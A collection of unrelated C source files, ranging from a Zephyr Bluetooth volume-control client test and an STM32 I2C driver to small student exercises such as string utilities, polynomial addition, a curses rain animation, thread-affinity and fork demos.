g_write_complete = g_cb = false; err = bt_vcs_aics_automatic_gain_set(vcs, vcs_included.aics[0]); if (err) { FAIL("Could not set AICS auto mode (err %d)\n", err); return err; } WAIT_FOR_COND(g_aics_mode == expected_mode && g_cb && g_write_complete); printk("AICS auto mode set\n"); printk("Setting AICS manual mode\n"); expected_mode = BT_AICS_MODE_MANUAL; g_write_complete = g_cb = false; err = bt_vcs_aics_manual_gain_set(vcs, vcs_included.aics[0]); if (err) { FAIL("Could not set AICS manual mode (err %d)\n", err); return err; } WAIT_FOR_COND(g_aics_mode == expected_mode && g_cb && g_write_complete); printk("AICS manual mode set\n"); printk("Setting AICS gain\n"); expected_gain = g_aics_gain_max - 1; g_write_complete = g_cb = false; err = bt_vcs_aics_gain_set(vcs, vcs_included.aics[0], expected_gain); if (err) { FAIL("Could not set AICS gain (err %d)\n", err); return err; } WAIT_FOR_COND(g_aics_gain == expected_gain && g_cb && g_write_complete); printk("AICS gain set\n"); printk("Setting AICS Description\n"); strncpy(expected_aics_desc, "New Input Description", sizeof(expected_aics_desc)); expected_aics_desc[sizeof(expected_aics_desc) - 1] = '\0'; g_cb = false; err = bt_vcs_aics_description_set(vcs, vcs_included.aics[0], expected_aics_desc); if (err) { FAIL("Could not set AICS Description (err %d)\n", err); return err; } WAIT_FOR_COND(!strncmp(expected_aics_desc, g_aics_desc, sizeof(expected_aics_desc)) && g_cb); printk("AICS Description set\n"); printk("AICS passed\n"); return 0; } static int test_vocs(void) { int err; uint32_t expected_location; int16_t expected_offset; char expected_description[VOCS_DESC_SIZE]; struct bt_conn *cached_conn; printk("Getting VOCS client conn\n"); err = bt_vocs_client_conn_get(vcs_included.vocs[0], &cached_conn); if (err != 0) { FAIL("Could not get VOCS client conn (err %d)\n", err); return err; } if (cached_conn != default_conn) { FAIL("Cached conn was not the conn used to discover"); return -ENOTCONN; } printk("Getting VOCS state\n"); g_cb = false; err = bt_vcs_vocs_state_get(vcs, vcs_included.vocs[0]); if (err) { FAIL("Could not get VOCS state (err %d)\n", err); return err; } WAIT_FOR_COND(g_cb); printk("VOCS state get\n"); printk("Getting VOCS location\n"); g_cb = false; err = bt_vcs_vocs_location_get(vcs, vcs_included.vocs[0]); if (err) { FAIL("Could not get VOCS location (err %d)\n", err); return err; } WAIT_FOR_COND(g_cb); printk("VOCS location get\n"); printk("Getting VOCS description\n"); g_cb = false; err = bt_vcs_vocs_description_get(vcs, vcs_included.vocs[0]); if (err) { FAIL("Could not get VOCS description (err %d)\n", err); return err; } WAIT_FOR_COND(g_cb); printk("VOCS description get\n"); printk("Setting VOCS location\n"); expected_location = g_vocs_location + 1; g_cb = false; err = bt_vcs_vocs_location_set(vcs, vcs_included.vocs[0], expected_location); if (err) { FAIL("Could not set VOCS location (err %d)\n", err); return err; } WAIT_FOR_COND(g_vocs_location == expected_location && g_cb); printk("VOCS location set\n"); printk("Setting VOCS state\n"); expected_offset = g_vocs_offset + 1; g_write_complete = g_cb = false; err = bt_vcs_vocs_state_set(vcs, vcs_included.vocs[0], expected_offset); if (err) { FAIL("Could not set VOCS state (err %d)\n", err); return err; } WAIT_FOR_COND(g_vocs_offset == expected_offset && g_cb && g_write_complete); printk("VOCS state set\n"); printk("Setting VOCS description\n"); strncpy(expected_description, "New Output Description", sizeof(expected_description)); expected_description[sizeof(expected_description) - 1] = '\0'; g_cb = false; err = bt_vcs_vocs_description_set(vcs, vcs_included.vocs[0], expected_description); if (err) { FAIL("Could not set VOCS description (err %d)\n", err); return err; } WAIT_FOR_COND(!strncmp(expected_description, g_vocs_desc, sizeof(expected_description)) && g_cb); printk("VOCS description set\n"); printk("VOCS passed\n"); return 0; } static void test_main(void) { int err; uint8_t expected_volume; uint8_t previous_volume; uint8_t expected_mute; struct bt_conn *cached_conn; err = bt_enable(bt_ready); if (err) { FAIL("Bluetooth discover failed (err %d)\n", err); return; } err = bt_vcs_client_cb_register(&vcs_cbs); if (err) { FAIL("CB register failed (err %d)\n", err); return; } WAIT_FOR_COND(g_bt_init); err = bt_le_scan_start(BT_LE_SCAN_PASSIVE, device_found); if (err) { FAIL("Scanning failed to start (err %d)\n", err); return; } printk("Scanning successfully started\n"); WAIT_FOR_COND(g_is_connected); err = bt_vcs_discover(default_conn, &vcs); if (err) { FAIL("Failed to discover VCS %d", err); } WAIT_FOR_COND(g_discovery_complete); err = bt_vcs_included_get(vcs, &vcs_included); if (err) { FAIL("Failed to get VCS included services (err %d)\n", err); return; } printk("Getting VCS client conn\n"); err = bt_vcs_client_conn_get(vcs, &cached_conn); if (err != 0) { FAIL("Could not get VCS client conn (err %d)\n", err); return; } if (cached_conn != default_conn) { FAIL("Cached conn was not the conn used to discover"); return; } printk("Getting VCS volume state\n"); g_cb = false; err = bt_vcs_vol_get(vcs); if (err) { FAIL("Could not get VCS volume (err %d)\n", err); return; } WAIT_FOR_COND(g_cb); printk("VCS volume get\n"); printk("Getting VCS flags\n"); g_cb = false; err = bt_vcs_flags_get(vcs); if (err) { FAIL("Could not get VCS flags (err %d)\n", err); return; } WAIT_FOR_COND(g_cb); printk("VCS flags get\n"); expected_volume = g_volume != 100 ? 100 : 101; /* ensure change */ g_write_complete = g_cb = false; err = bt_vcs_vol_set(vcs, expected_volume); if (err) { FAIL("Could not set VCS volume (err %d)\n", err); return; } WAIT_FOR_COND(g_volume == expected_volume && g_cb && g_write_complete); printk("VCS volume set\n"); printk("Downing VCS volume\n"); previous_volume = g_volume; g_write_complete = g_cb = false; err = bt_vcs_vol_down(vcs); if (err) { FAIL("Could not get down VCS volume (err %d)\n", err); return; } WAIT_FOR_COND(g_volume < previous_volume && g_cb && g_write_complete); printk("VCS volume downed\n"); printk("Upping VCS volume\n"); previous_volume = g_volume; g_write_complete = g_cb = false; err = bt_vcs_vol_up(vcs); if (err) { FAIL("Could not up VCS volume (err %d)\n", err); return; } WAIT_FOR_COND(g_volume > previous_volume && g_cb && g_write_complete); printk("VCS volume upped\n"); printk("Muting VCS\n"); expected_mute = 1; g_write_complete = g_cb = false; err = bt_vcs_mute(vcs); if (err) { FAIL("Could not mute VCS (err %d)\n", err); return; } WAIT_FOR_COND(g_mute == expected_mute && g_cb && g_write_complete); printk("VCS muted\n"); printk("Downing and unmuting VCS\n"); previous_volume = g_volume; expected_mute = 0; g_write_complete = g_cb = false; err = bt_vcs_unmute_vol_down(vcs); if (err) { FAIL("Could not down and unmute VCS (err %d)\n", err); return; } WAIT_FOR_COND(g_volume < previous_volume && expected_mute == g_mute && g_cb && g_write_complete); printk("VCS volume downed and unmuted\n"); printk("Muting VCS\n"); expected_mute = 1; g_write_complete = g_cb = false; err = bt_vcs_mute(vcs); if (err) { FAIL("Could not mute VCS (err %d)\n", err); return; } WAIT_FOR_COND(g_mute == expected_mute && g_cb && g_write_complete); printk("VCS muted\n"); printk("Upping and unmuting VCS\n"); previous_volume = g_volume; expected_mute = 0; g_write_complete = g_cb = false; err = bt_vcs_unmute_vol_up(vcs); if (err) { FAIL("Could not up and unmute VCS (err %d)\n", err); return; } WAIT_FOR_COND(g_volume > previous_volume && g_mute == expected_mute && g_cb && g_write_complete); printk("VCS volume upped and unmuted\n"); printk("Muting VCS\n"); expected_mute = 1; g_write_complete = g_cb = false; err = bt_vcs_mute(vcs); if (err) { FAIL("Could not mute VCS (err %d)\n", err); return; } WAIT_FOR_COND(g_mute == expected_mute && g_cb && g_write_complete); printk("VCS muted\n"); printk("Unmuting VCS\n"); expected_mute = 0; g_write_complete = g_cb = false; err = bt_vcs_unmute(vcs); if (err) { FAIL("Could not unmute VCS (err %d)\n", err); return; } WAIT_FOR_COND(g_mute == expected_mute && g_cb && g_write_complete); printk("VCS volume unmuted\n"); if (CONFIG_BT_VCS_CLIENT_VOCS > 0) { if (test_vocs()) { return; } } if (CONFIG_BT_VCS_CLIENT_MAX_AICS_INST > 0) { if (test_aics()) { return; } } PASS("VCS client Passed\n"); } static const struct bst_test_instance test_vcs[] = { { .test_id = "vcs_client", .test_post_init_f = test_init, .test_tick_f = test_tick, .test_main_f = test_main }, BSTEST_END_MARKER }; struct bst_test_list *test_vcs_client_install(struct bst_test_list *tests) { return bst_add_tests(tests, test_vcs); } #else struct bst_test_list *test_vcs_client_install(struct bst_test_list *tests) { return tests; } #endif /* CONFIG_BT_VCS_CLIENT */
the_stack_data/193892025.c
/* ************************************************************************** */ /* */ /* ::: :::::::: */ /* ft_strupcase.c :+: :+: :+: */ /* +:+ +:+ +:+ */ /* By: prafael- <[email protected]> +#+ +:+ +#+ */ /* +#+#+#+#+#+ +#+ */ /* Created: 2021/07/29 15:31:54 by prafael- #+# #+# */ /* Updated: 2021/07/29 15:31:55 by prafael- ### ########.fr */ /* */ /* ************************************************************************** */ char *ft_strupcase(char *str) { int i; i = 0; while (str[i] != '\0') { if (str[i] >= 'a' && str[i] <= 'z') { str[i] -= 32; } i++; } return (str); }
the_stack_data/1242528.c
#include<stdio.h> #include<stdlib.h> //Node represents a term of the Polynomial struct Node { int coefficient;// stores the coeffcient int exponent ; //exponent struct Node * link;//link to new Node } typedef Node; //Polynomial represents a polynomial , contains the pointer to the first Node of the polynomial list struct Polynomial_List { Node * start ; }typedef Polynomial; void insert_end( Polynomial* p , int coeff , int exp ) { Node * newNode = (Node*)malloc(sizeof(Node)); newNode->coefficient = coeff; newNode->exponent = exp; newNode->link = NULL; if( p->start == NULL) //for the insertion of the first node of the list (polynomial) p->start = newNode; else //for general insertion of 2nd , 3rd,.. nodes { Node * temp = p->start; while( temp->link != NULL) temp = temp->link; temp->link = newNode; } }//end of insert_end void display( Polynomial p) { if( p.start == NULL ) printf("\n Null Polynomial"); else { Node * temp = p.start; printf("\n Polynomial is : "); while( temp != NULL) { if(temp->coefficient < 0) printf(" %d", temp->coefficient);//print the coefficient else printf(" +%d", temp->coefficient);//print the coefficient if( temp->exponent != 0 )printf("X%d", temp->exponent);//print X only when the exponent is non zero temp= temp->link; //jump to next node }//end of while } }//end of display function void add_poly( Polynomial poly1, Polynomial poly2, Polynomial* result) { Node * p = poly1.start; Node * q = poly2.start; while( p != NULL && q!= NULL) // until one of the list(polynomial) is terminated { if( p->exponent == q->exponent) { int c = p->coefficient + q->coefficient;//add the coefficients of both the terms if( c != 0 )//if the sum coefficient is non zero { Node * newNode = (Node*)malloc(sizeof(Node));//get a new node for result poly newNode->coefficient = c; //set coefficient newNode->exponent = p->exponent; //set exponent insert_end(result,c,p->exponent);//add the term in the result poly p = p->link; //move forward in both the lists q = q->link; } else // if c is 0 , then the term cancels out { p = p->link; // skip these current nodes from both the list q = q->link; } }// if same exponent else { //different exponent if ( p->exponent > q->exponent) { Node * newNode = (Node*)malloc(sizeof(Node)); newNode->coefficient = p->coefficient; newNode->exponent = p->exponent; insert_end(result,p->coefficient,p->exponent); p = p->link; } else { Node * newNode = (Node*)malloc(sizeof(Node)); newNode->coefficient = q->coefficient; newNode->exponent = q->exponent; insert_end(result,q->coefficient,q->exponent); q = q->link; } }//end of else for different exponents }//end of while //copy remaining nodes from the Polynomial if( p==NULL)// polynomial pointed by p does not have any more terms left { while(q!=NULL) //copy remaining nodes from q polynomial { insert_end(result,q->coefficient, q->exponent); q=q->link;//move q to the next node } } else { while(p!=NULL)//copy from p Polynomial { insert_end(result,p->coefficient, p->exponent); p=p->link; } } }//end of poly_add function int main(void) { Polynomial p,q, result; p.start = NULL; q.start = NULL; result.start = NULL; insert_end(&p, 5,4); //5x4 insert_end(&p, -2,3);// -2x3 insert_end(&p,-2,1); // -2x insert_end(&p,4,0); // 4 display(p); // p(x) = 5x4 - 2x3 -2x + 4 insert_end(&q, 7,2); //7x2 insert_end(&q,-4,0); // -8x display(q);// q(x) = 7x2 - 8x add_poly( p,q,&result); display(result); // Q = 5x4 - 2x3 + 7x2 -10x + 4 }//end of main
the_stack_data/57951589.c
/* ************************************************************************** */ /* */ /* ::: :::::::: */ /* ft_atoi.c :+: :+: :+: */ /* +:+ +:+ +:+ */ /* By: ktlili <[email protected]> +#+ +:+ +#+ */ /* +#+#+#+#+#+ +#+ */ /* Created: 2017/11/23 20:33:57 by ktlili #+# #+# */ /* Updated: 2018/10/12 23:33:42 by ktlili ### ########.fr */ /* */ /* ************************************************************************** */ int ft_atoi(const char *str) { int i; int j; int sign; int ret; i = 0; j = 0; sign = 1; while ((str[i] == 32) | (str[i] == '\t') | (str[i] == '\r') | (str[i] == '\n') | (str[i] == '\v') | (str[i] == '\f')) i++; if (str[i] == '-' || str[i] == '+') { sign = (-(str[i] - 44)); i++; } ret = 0; while (str[i] > 47 && str[i] < 58 && ret < 2147483647 && ret > -2147483648) { ret = ret * 10 + (str[i] - 48); i++; j++; } return (ret * sign); }
the_stack_data/54825371.c
/* 000 00 0000000 0000 0 00 00000000000000000 0000 0 000000000000000000000000 0 000000000000000000000000000000000000000 000 0000000000000000000000000000000000000000000000 000000000000000000000000000000000000000000000000 00000000000000000000000000000000000000000000000000000000 C O M | F | Y | | | R A I N I N | | | | Y O | U R | T E R | | | M I N AL Although this was a purely fun-motivated project I challenged myself to write this code clean & leak-free. If you find bugs or leaks feel free to contact me or fork this. That would be awesome. @ Nik, 07.2017 */ #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <curses.h> #include <signal.h> // // GLOBALS // int userResized = 0; int slowerDrops = 0; typedef struct { int w; int h; int speed; int color; char shape; } Drop; /** * Since we want the total number of drops to * be terminal-size dependent we need a dynamic/ * resizeable data structure containing an array of * drops. */ typedef struct { Drop *drops; int size; int capacity; } d_Vector; // // PROTOTYPES // Drop d_create(); void d_fall(Drop *d); void d_show(Drop *d); void v_init(d_Vector *v, int cap); void v_free(d_Vector *v); void v_delete(d_Vector *v); void v_resize(d_Vector *v, int newCap); void v_add(d_Vector *v, Drop d); Drop *v_getAt(d_Vector *v, int pos); void initCurses(); void exitCurses(); int pRand(int min, int max); int getNumOfDrops(); void handleResize(); void exitErr(const char *err); void usage(); // // FUNCTIONS - DROP // Drop d_create() { Drop d; d.w = pRand(0, COLS); d.h = pRand(0, LINES); if (slowerDrops) { d.speed = pRand(1, 3); (d.speed < 2) ? (d.shape = '|') : (d.shape = ':'); } else { d.speed = pRand(1, 6); (d.speed < 3) ? (d.shape = '|') : (d.shape = ':'); } int x = d.speed; // patented d.color = (int) ((0.0416 * (x - 4) * (x - 3) * (x - 2) - 4) * (x - 1) + 255); return d; } void d_fall(Drop *d) { d->h += d->speed; if (d->h >= LINES-1) d->h = pRand(0, 10); } void d_show(Drop *d) { attron(COLOR_PAIR(d->color)); mvaddch(d->h, d->w, d->shape); } // // FUNCTIONS - VECTOR // void v_init(d_Vector *v, int cap) { if (cap > 0 && v != 0) { v->drops = (Drop *) malloc(sizeof(Drop) * cap); if (v->drops != 0) { v->size = 0; v->capacity = cap; } else exitErr("\n*DROP ARRAY IS >NULL<*\n"); } else exitErr("\n*VECTOR INIT FAILED*\n"); } void v_free(d_Vector *v) { if(v->drops != 0) { free(v->drops); v->drops = 0; } v->size = 0; v->capacity = 0; } void v_delete(d_Vector *v) { v_free(v); } void v_resize(d_Vector *v, int newCap) { d_Vector newVec; v_init(&newVec, newCap); for (int i = 0; i < newCap; i++) v_add(&newVec, d_create()); v_free(v); *v = newVec; } void v_add(d_Vector *v, Drop d) { if(v->size >= v->capacity) v_resize(v, 2 * v->capacity); v->drops[v->size] = d; v->size++; } Drop *v_getAt(d_Vector *v, int pos) { if ((pos < v->size) && (pos >= 0)) return &(v->drops[pos]); exitErr("\n*BAD ACCESS*\n"); } // // FUNCTIONS - CURSES // void initCurses() { initscr(); noecho(); cbreak(); keypad(stdscr, 1); curs_set(0); if ((curs_set(0)) == 1) exitErr("\n*Terminal emulator lacks capabilities.\n(Can't hide Cursor).*\n"); timeout(0); signal(SIGWINCH, handleResize); int hazColors = has_colors() && can_change_color(); if (hazColors) { use_default_colors(); start_color(); for (short i = 0; i < COLORS; i++) init_pair(i + 1, i, -1); } else exitErr("\n*Terminal emulator lacks capabilities.\n(Can't have colors).\n*"); } void exitCurses() { curs_set(1); clear(); refresh(); resetty(); endwin(); } // // UTILS // int pRand(int min, int max) { max -= 1; return min + rand() / (RAND_MAX / (max - min + 1) + 1); } void handleResize() { endwin(); userResized = 1; refresh(); erase(); } void exitErr(const char *err) { exitCurses(); printf("%s", err); exit(0); } int getNumOfDrops() { int nDrops = 0; if ((LINES < 20 && COLS > 100) || (COLS < 100 && LINES < 40)) { nDrops = (int) (COLS * 0.75); // Watch that state.. slowerDrops = 1; } else { nDrops = (int) (COLS * 1.5); slowerDrops = 0; } return nDrops; } void usage() { printf(" Usage: rain\n"); printf("No arguments supported yet. It's just rain, after all.\n"); printf("Hit 'q' to exit.\n"); } int main(int argc, char **argv) { if (argc != 1) { usage(); exit(0); } // User KeyEvent int key; srand((unsigned int) getpid()); initCurses(); int dropsTotal = getNumOfDrops(); d_Vector drops; v_init(&drops, dropsTotal); for (int i = 0; i < dropsTotal; i++) v_add(&drops, d_create()); // // DRAW-LOOP // while (1) { if (userResized) { // Stabilizing hectic user.. usleep(90000); dropsTotal = getNumOfDrops(); v_resize(&drops, dropsTotal); userResized = 0; } dropsTotal = getNumOfDrops(); for (int i = 0; i < dropsTotal; i++) { d_fall(v_getAt(&drops, i)); d_show(v_getAt(&drops, i)); } // Frame Delay usleep(30000); if ((key = wgetch(stdscr)) == 'q') break; erase(); } // Free pointers & exit gracefully v_delete(&drops); exitCurses(); }
the_stack_data/45765.c
#include <unistd.h> #include "syscall.h" int fchownat(int fd, const char *path, uid_t uid, gid_t gid, int flag) { return syscall(SYS_fchownat, fd, path, uid, gid, flag); }
the_stack_data/62023.c
/* * author: Mahmud Ahsan * https://github.com/mahmudahsan * blog: http://thinkdiff.net * http://banglaprogramming.com * License: MIT License */ /* * Multiplication */ #include <stdio.h> int main(){ int number; printf("Please enter a number: "); scanf("%d", &number); printf("\nMultiplication\n"); printf("-------------------\n"); printf("Number\tMultiplication\n"); for (int i = 1; i <= 10; ++i){ int result = i * number; printf("%2d\t %2d\n", i, result); // -2d } return 0; }
the_stack_data/125896.c
/* PR target/69644 */ /* { dg-do compile } */ int main () { unsigned short x = 0x8000; if (!__sync_bool_compare_and_swap (&x, 0x8000, 0) || x) __builtin_abort (); return 0; }
the_stack_data/107952694.c
#define _GNU_SOURCE #include <stdio.h> #include <pthread.h> #include <stdlib.h> #include <sched.h> #include <errno.h> #include <unistd.h> void *pthread_Message( void *ptr ) { sleep(10); char *message; message = (char *) ptr; printf("%s \n", message); cpu_set_t l_cpuSet; int l_maxCpus; int j; unsigned long l_cpuBitMask; CPU_ZERO( &l_cpuSet ); printf("get affinity %d\n",pthread_getaffinity_np(pthread_self() , sizeof( cpu_set_t ), &l_cpuSet )); // printf("cpuset %d\n",l_cpuSet); printf (" thread id %u\n", pthread_self()); if ( pthread_getaffinity_np(pthread_self() , sizeof( cpu_set_t ), &l_cpuSet ) == 0 ) for (int i = 0; i < 4; i++) if (CPU_ISSET(i, &l_cpuSet)) printf("XXXCPU: CPU %d\n", i); for (long i=0; i< 10000000000; ++i); } int main() { pthread_t thread1, thread2, thread3, thread4; pthread_t threadArray[4]; cpu_set_t cpu1, cpu2, cpu3, cpu4; const char *thread1Msg = "Thread 1"; const char *thread2Msg = "Thread 2"; const char *thread3Msg = "Thread 3"; const char *thread4Msg = "Thread 4"; int thread1Create, thread2Create, thread3Create, thread4Create, i, temp; thread1Create = pthread_create(&thread1, NULL, &pthread_Message, (void*)thread1Msg); sleep(1); thread2Create = pthread_create(&thread2, NULL, &pthread_Message, (void*)thread2Msg); sleep(1); thread3Create = pthread_create(&thread3, NULL, &pthread_Message, (void*)thread3Msg); sleep(1); thread4Create = pthread_create(&thread4, NULL, &pthread_Message, (void*)thread4Msg); CPU_ZERO(&cpu1); CPU_SET(0, &cpu1); temp = pthread_setaffinity_np(thread1, sizeof(cpu_set_t), &cpu1); printf("setaffinity=%d\n", temp); printf("Set returned by pthread_getaffinity_np() contained:\n"); for (i = 0; i < CPU_SETSIZE; i++) if (CPU_ISSET(i, &cpu1)) printf("CPU1: CPU %d\n", i); CPU_ZERO(&cpu2); CPU_SET(1, &cpu2); temp = pthread_setaffinity_np(thread2, sizeof(cpu_set_t), &cpu2); for (i = 0; i < CPU_SETSIZE; i++) if (CPU_ISSET(i, &cpu2)) printf("CPU2: CPU %d\n", i); CPU_ZERO(&cpu3); CPU_SET(2, &cpu3); temp = pthread_setaffinity_np(thread3, sizeof(cpu_set_t), &cpu3); for (i = 0; i < CPU_SETSIZE; i++) if (CPU_ISSET(i, &cpu3)) printf("CPU3: CPU %d\n", i); CPU_ZERO(&cpu4); CPU_SET(3, &cpu4); temp = pthread_setaffinity_np(thread4, sizeof(cpu_set_t), &cpu4); for (i = 0; i < CPU_SETSIZE; i++) if (CPU_ISSET(i, &cpu4)) printf("CPU4: CPU %d\n", i); // pthread_setaffinity_np(pthread_self(), sizeof(cpu_set_t), &cpu1); // pthread_setaffinity_np(pthread_self(), sizeof(cpu_set_t), &cpu1); pthread_join(thread1, NULL); pthread_join(thread2, NULL); pthread_join(thread3, NULL); pthread_join(thread4, NULL); return 0; }
the_stack_data/162643896.c
#include <stdio.h> int main() { int x, y; printf ("digite as coordenadas da bola"); scanf ("%d %d", &x, &y); if (x >=0 && x <= 432 && y >= 0 && y <= 468) { printf ("dentro!"); } else { printf ("fora!"); } }
the_stack_data/82565.c
/* ************************************************************************** */ /* */ /* ::: :::::::: */ /* ft_fibonacci.c :+: :+: :+: */ /* +:+ +:+ +:+ */ /* By: soumanso <[email protected]> +#+ +:+ +#+ */ /* +#+#+#+#+#+ +#+ */ /* Created: 2021/09/05 15:34:06 by soumanso #+# #+# */ /* Updated: 2021/09/05 17:49:44 by soumanso ### ########lyon.fr */ /* */ /* ************************************************************************** */ int ft_fibonacci(int index) { if (index < 0) return (-1); else if (index == 0) return (0); else if (index < 2) return (1); return (ft_fibonacci (index - 1) + ft_fibonacci (index - 2)); }
the_stack_data/643657.c
/** ****************************************************************************** * @file stm32f0xx_ll_i2c.c * @author MCD Application Team * @brief I2C LL module driver. ****************************************************************************** * @attention * * <h2><center>&copy; Copyright (c) 2016 STMicroelectronics. * All rights reserved.</center></h2> * * This software component is licensed by ST under BSD 3-Clause license, * the "License"; You may not use this file except in compliance with the * License. You may obtain a copy of the License at: * opensource.org/licenses/BSD-3-Clause * ****************************************************************************** */ #if defined(USE_FULL_LL_DRIVER) /* Includes ------------------------------------------------------------------*/ #include "stm32f0xx_ll_i2c.h" #include "stm32f0xx_ll_bus.h" #ifdef USE_FULL_ASSERT #include "stm32_assert.h" #else #define assert_param(expr) ((void)0U) #endif /** @addtogroup STM32F0xx_LL_Driver * @{ */ #if defined (I2C1) || defined (I2C2) /** @defgroup I2C_LL I2C * @{ */ /* Private types -------------------------------------------------------------*/ /* Private variables ---------------------------------------------------------*/ /* Private constants ---------------------------------------------------------*/ /* Private macros ------------------------------------------------------------*/ /** @addtogroup I2C_LL_Private_Macros * @{ */ #define IS_LL_I2C_PERIPHERAL_MODE(__VALUE__) (((__VALUE__) == LL_I2C_MODE_I2C) || \ ((__VALUE__) == LL_I2C_MODE_SMBUS_HOST) || \ ((__VALUE__) == LL_I2C_MODE_SMBUS_DEVICE) || \ ((__VALUE__) == LL_I2C_MODE_SMBUS_DEVICE_ARP)) #define IS_LL_I2C_ANALOG_FILTER(__VALUE__) (((__VALUE__) == LL_I2C_ANALOGFILTER_ENABLE) || \ ((__VALUE__) == LL_I2C_ANALOGFILTER_DISABLE)) #define IS_LL_I2C_DIGITAL_FILTER(__VALUE__) ((__VALUE__) <= 0x0000000FU) #define IS_LL_I2C_OWN_ADDRESS1(__VALUE__) ((__VALUE__) <= 0x000003FFU) #define IS_LL_I2C_TYPE_ACKNOWLEDGE(__VALUE__) (((__VALUE__) == LL_I2C_ACK) || \ ((__VALUE__) == LL_I2C_NACK)) #define IS_LL_I2C_OWN_ADDRSIZE(__VALUE__) (((__VALUE__) == LL_I2C_OWNADDRESS1_7BIT) || \ ((__VALUE__) == LL_I2C_OWNADDRESS1_10BIT)) /** * @} */ /* Private function prototypes -----------------------------------------------*/ /* Exported functions --------------------------------------------------------*/ /** @addtogroup I2C_LL_Exported_Functions * @{ */ /** @addtogroup I2C_LL_EF_Init * @{ */ /** * @brief De-initialize the I2C registers to their default reset values. * @param I2Cx I2C Instance. * @retval An ErrorStatus enumeration value: * - SUCCESS: I2C registers are de-initialized * - ERROR: I2C registers are not de-initialized */ ErrorStatus LL_I2C_DeInit(I2C_TypeDef *I2Cx) { ErrorStatus status = SUCCESS; /* Check the I2C Instance I2Cx */ assert_param(IS_I2C_ALL_INSTANCE(I2Cx)); if (I2Cx == I2C1) { /* Force reset of I2C clock */ LL_APB1_GRP1_ForceReset(LL_APB1_GRP1_PERIPH_I2C1); /* Release reset of I2C clock */ LL_APB1_GRP1_ReleaseReset(LL_APB1_GRP1_PERIPH_I2C1); } #if defined(I2C2) else if (I2Cx == I2C2) { /* Force reset of I2C clock */ LL_APB1_GRP1_ForceReset(LL_APB1_GRP1_PERIPH_I2C2); /* Release reset of I2C clock */ LL_APB1_GRP1_ReleaseReset(LL_APB1_GRP1_PERIPH_I2C2); } #endif else { status = ERROR; } return status; } /** * @brief Initialize the I2C registers according to the specified parameters in I2C_InitStruct. * @param I2Cx I2C Instance. * @param I2C_InitStruct pointer to a @ref LL_I2C_InitTypeDef structure. * @retval An ErrorStatus enumeration value: * - SUCCESS: I2C registers are initialized * - ERROR: Not applicable */ ErrorStatus LL_I2C_Init(I2C_TypeDef *I2Cx, LL_I2C_InitTypeDef *I2C_InitStruct) { /* Check the I2C Instance I2Cx */ assert_param(IS_I2C_ALL_INSTANCE(I2Cx)); /* Check the I2C parameters from I2C_InitStruct */ assert_param(IS_LL_I2C_PERIPHERAL_MODE(I2C_InitStruct->PeripheralMode)); assert_param(IS_LL_I2C_ANALOG_FILTER(I2C_InitStruct->AnalogFilter)); assert_param(IS_LL_I2C_DIGITAL_FILTER(I2C_InitStruct->DigitalFilter)); assert_param(IS_LL_I2C_OWN_ADDRESS1(I2C_InitStruct->OwnAddress1)); assert_param(IS_LL_I2C_TYPE_ACKNOWLEDGE(I2C_InitStruct->TypeAcknowledge)); assert_param(IS_LL_I2C_OWN_ADDRSIZE(I2C_InitStruct->OwnAddrSize)); /* Disable the selected I2Cx Peripheral */ LL_I2C_Disable(I2Cx); /*---------------------------- I2Cx CR1 Configuration ------------------------ * Configure the analog and digital noise filters with parameters : * - AnalogFilter: I2C_CR1_ANFOFF bit * - DigitalFilter: I2C_CR1_DNF[3:0] bits */ LL_I2C_ConfigFilters(I2Cx, I2C_InitStruct->AnalogFilter, I2C_InitStruct->DigitalFilter); /*---------------------------- I2Cx TIMINGR Configuration -------------------- * Configure the SDA setup, hold time and the SCL high, low period with parameter : * - Timing: I2C_TIMINGR_PRESC[3:0], I2C_TIMINGR_SCLDEL[3:0], I2C_TIMINGR_SDADEL[3:0], * I2C_TIMINGR_SCLH[7:0] and I2C_TIMINGR_SCLL[7:0] bits */ LL_I2C_SetTiming(I2Cx, I2C_InitStruct->Timing); /* Enable the selected I2Cx Peripheral */ LL_I2C_Enable(I2Cx); /*---------------------------- I2Cx OAR1 Configuration ----------------------- * Disable, Configure and Enable I2Cx device own address 1 with parameters : * - OwnAddress1: I2C_OAR1_OA1[9:0] bits * - OwnAddrSize: I2C_OAR1_OA1MODE bit */ LL_I2C_DisableOwnAddress1(I2Cx); LL_I2C_SetOwnAddress1(I2Cx, I2C_InitStruct->OwnAddress1, I2C_InitStruct->OwnAddrSize); /* OwnAdress1 == 0 is reserved for General Call address */ if (I2C_InitStruct->OwnAddress1 != 0U) { LL_I2C_EnableOwnAddress1(I2Cx); } /*---------------------------- I2Cx MODE Configuration ----------------------- * Configure I2Cx peripheral mode with parameter : * - PeripheralMode: I2C_CR1_SMBDEN and I2C_CR1_SMBHEN bits */ LL_I2C_SetMode(I2Cx, I2C_InitStruct->PeripheralMode); /*---------------------------- I2Cx CR2 Configuration ------------------------ * Configure the ACKnowledge or Non ACKnowledge condition * after the address receive match code or next received byte with parameter : * - TypeAcknowledge: I2C_CR2_NACK bit */ LL_I2C_AcknowledgeNextData(I2Cx, I2C_InitStruct->TypeAcknowledge); return SUCCESS; } /** * @brief Set each @ref LL_I2C_InitTypeDef field to default value. * @param I2C_InitStruct Pointer to a @ref LL_I2C_InitTypeDef structure. * @retval None */ void LL_I2C_StructInit(LL_I2C_InitTypeDef *I2C_InitStruct) { /* Set I2C_InitStruct fields to default values */ I2C_InitStruct->PeripheralMode = LL_I2C_MODE_I2C; I2C_InitStruct->Timing = 0U; I2C_InitStruct->AnalogFilter = LL_I2C_ANALOGFILTER_ENABLE; I2C_InitStruct->DigitalFilter = 0U; I2C_InitStruct->OwnAddress1 = 0U; I2C_InitStruct->TypeAcknowledge = LL_I2C_NACK; I2C_InitStruct->OwnAddrSize = LL_I2C_OWNADDRESS1_7BIT; } /** * @} */ /** * @} */ /** * @} */ #endif /* I2C1 || I2C2 */ /** * @} */ #endif /* USE_FULL_LL_DRIVER */ /************************ (C) COPYRIGHT STMicroelectronics *****END OF FILE****/
the_stack_data/115765145.c
#include <stdio.h> int main() { int ret; printf("Hello World\n"); ret = fork(); if (ret == 0) { printf("I am Child and Return Value=%d\n", ret); printf("Child PID: %d\n", getpid()); printf("Child's Parent PID: %d\n", getppid()); } else { printf("I am Parent and Return Value=%d\n", ret); printf("Parent PID: %d\n", getpid()); } sleep(20); }
the_stack_data/50137085.c
